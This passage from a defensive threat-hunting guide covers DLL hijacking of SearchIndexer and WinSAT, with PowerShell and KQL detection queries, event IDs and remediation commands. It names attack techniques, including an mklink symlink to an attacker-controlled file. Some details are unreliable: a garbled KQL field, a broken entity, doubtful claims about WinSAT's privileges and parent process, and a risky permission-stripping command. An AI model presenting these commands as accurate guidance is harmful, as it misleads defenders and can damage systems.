Get-ChildItem -Path "C:\Temp", "C:\Users\Public" -Recurse | Sort-Object LastWriteTime -Descending
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **2. Remove Malicious DLL Files**

```powershell
Remove-Item -Path "C:\Temp\malicious.dll" -Force
```

#### 📌 **3. Remove Malicious Registry Entries**

```powershell
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchIndexer.exe" -Name "Debugger"
```

#### 📌 **4. Restart Search Indexer Service**

```powershell
Restart-Service -Name WSearch
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Monitor DLL Loading Paths:** Restrict DLL loading from non-standard locations.
2. **Enable Command Line Auditing:** Track unusual execution arguments.
3. **Restrict Registry Access:** Limit access to `Image File Execution Options`.
4. **Monitor Event Logs:** Focus on **4688**, **4663**, **7045**.
5. **Enable Behavioral Analytics:** Use EDR tools to detect anomalies.

***

### 🧠 **6. Key Takeaways**

* **Focus on DLL Paths:** Validate `SearchIndexer.exe` DLL paths.
* **Monitor Event IDs:** **4688**, **4663**, **7045**.
* **Parent-Child Analysis:** Validate `services.exe` as the parent process.

***

## 🚨 **WinSAT Bypass – Privilege Escalation via File Change: Advanced Threat Analysis**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `WinSAT.exe`?**

* **`WinSAT.exe` (Windows System Assessment Tool)** is a legitimate **Windows tool** used to assess system performance and capabilities.
* It is located at:\
  \&#xNAN;**`C:\Windows\System32\WinSAT.exe`**
* It typically runs with **elevated privileges**, making it a target for **privilege escalation attacks**.

#### 📑 **Why Do Attackers Target `WinSAT.exe`?**

* **Trusted Binary:** Signed by Microsoft and trusted by security tools.
* **Privilege Escalation:** Runs with SYSTEM-level privileges.
* **Abuse DLL Search Order Hijacking:** Loads DLLs from insecure paths.
* **File Change Vulnerability:** Can be manipulated to execute arbitrary code.
* **Living Off the Land (LotL):** Utilizes built-in tools to avoid detection.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                     | **Description**                                             | **Example Indicator**                                       |
| --------------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------- |
| **DLL Hijacking**                 | Place a malicious DLL in `System32` or another search path. | `C:\Windows\Temp\malicious.dll`                             |
| **File Change in Insecure Paths** | Modify files loaded by `WinSAT.exe`.                        | `C:\Temp\legit.dll → malicious.dll`                         |
| **Symlink Attack**                | Point critical files to attacker-controlled files.          | `mklink C:\Windows\Temp\config.ini C:\Malicious\config.ini` |
| **Hijack WinSAT Execution Flow**  | Abuse WinSAT execution flow to run malicious code.          | `winsat.exe disk -drive c:`                                 |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Check WinSAT Execution History in Security Logs**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*winsat.exe*" }
```

**🕵️ List All DLLs Loaded by WinSAT**

```powershell
Get-Process -Name WinSAT | Select-Object -ExpandProperty Modules | Select-Object FileName
```

* ✅ **Expected Path:** `C:\Windows\System32\`
* ❌ **Suspicious Paths:** `C:\Temp\`, `C:\Users\Public\`

***

**🕵️ Check for Modified DLLs in System Directories**

```powershell
Get-ChildItem -Path "C:\Windows\System32", "C:\Temp" -Filter "*.dll" -Recurse | Sort-Object LastWriteTime -Descending
```

***

**🕵️ Trace Parent-Child Relationship for WinSAT**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "winsat.exe" } | Select-Object ProcessId, ParentProcessId, CommandLine
```

* ✅ **Expected Parent:** `services.exe`
* ❌ **Unexpected Parent:** `cmd.exe`, `powershell.exe`

***

**🕵️ Check for Symlink Exploitation**

```powershell
Get-ChildItem -Path "C:\Windows\Temp" -Recurse | Where-Object { $_.Attributes -match "ReparsePoint" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect WinSAT Executed from Suspicious Paths**

```kql
DeviceProcessEvents
| where FileName == "winsat.exe"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Trace DLLs Loaded by WinSAT**

```kql
DeviceImageLoadEvents
| where InitiatingProcessFileName == "winsat.exe"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine, AccountName
```

**🕵️ Identify File Modifications by WinSAT**

```kql
DeviceFileEvents
| where InitiatingProcessFileName == "winsat.exe"
| where ActionType == "FileModified"
| where FolderPath contains "Temp"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Trace Parent Processes for WinSAT**

```kql
DeviceProcessEvents
| where FileName == "winsat.exe"
| where ParentProcessName != "services.exe"
| project Timestamp, DeviceName, ParentProcessName, ProcessCommandLine, AccountName
```

**🕵️ Detect Symlink Attacks**

```kql
DeviceFileEvents
| where FolderPath contains "Temp"
| where ActionType == "FileModified"
| where FileName contains ".lnk"
| project Timestamp, DeviceName, FileName, FolderPath, AccountNameDeviceName, Timestamp
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                           |
| ------------ | ----------------------------------------- |
| **4688**     | New process created (`WinSAT.exe`).       |
| **4663**     | Object access attempt (e.g., DLL access). |
| **7045**     | A new service was installed.              |
| **5145**     | A network share object was accessed.      |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: WinSAT.exe C:\Temp\malicious.dll
  ParentProcessName: cmd.exe
  ```

**📌 Focus on Event ID 4663:**

* Registry or file access:

  ```plaintext
  RegistryKey: HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Validate DLL Hashes**

```powershell
Get-FileHash -Path "C:\Temp\malicious.dll"
```

* Compare hash on **VirusTotal**.

***

#### 2️⃣ **Inspect WinSAT Configurations**

```powershell
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winsat.exe"
```

***

#### 3️⃣ **Check Symlinks in Temp Directory**

```powershell
fsutil reparsepoint query "C:\Windows\Temp"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious WinSAT Processes**

```powershell
Stop-Process -Name WinSAT -Force
```

#### 📌 **2. Remove Malicious DLL Files**

```powershell
Remove-Item -Path "C:\Temp\malicious.dll" -Force
```

#### 📌 **3. Remove Malicious Registry Entries**

```powershell
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe" -Name "Debugger"
```

#### 📌 **4. Reset Permissions on Critical Directories**

```powershell
icacls "C:\Windows\Temp" /inheritance:r
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Command Line Auditing:** Monitor `WinSAT.exe` executions.
2. **Restrict DLL Search Paths:** Prevent loading DLLs from untrusted locations.
3. **Monitor Registry Keys:** `Image File Execution Options`.
4. **Enable Behavioral Analytics:** Detect unusual parent-child processes.
5. **Restrict Write Access:** Limit access to `System32` and `Temp`.

***

### 🧠 **6. Key Takeaways**

* **Validate DLL Paths:** Ensure DLLs used by `WinSAT.exe` are from trusted locations.
* **Focus on Event IDs:** **4688**, **4663**, **7045**.
* **Trace Parent-Child Relationships:** Validate `services.exe` as the parent process.

***
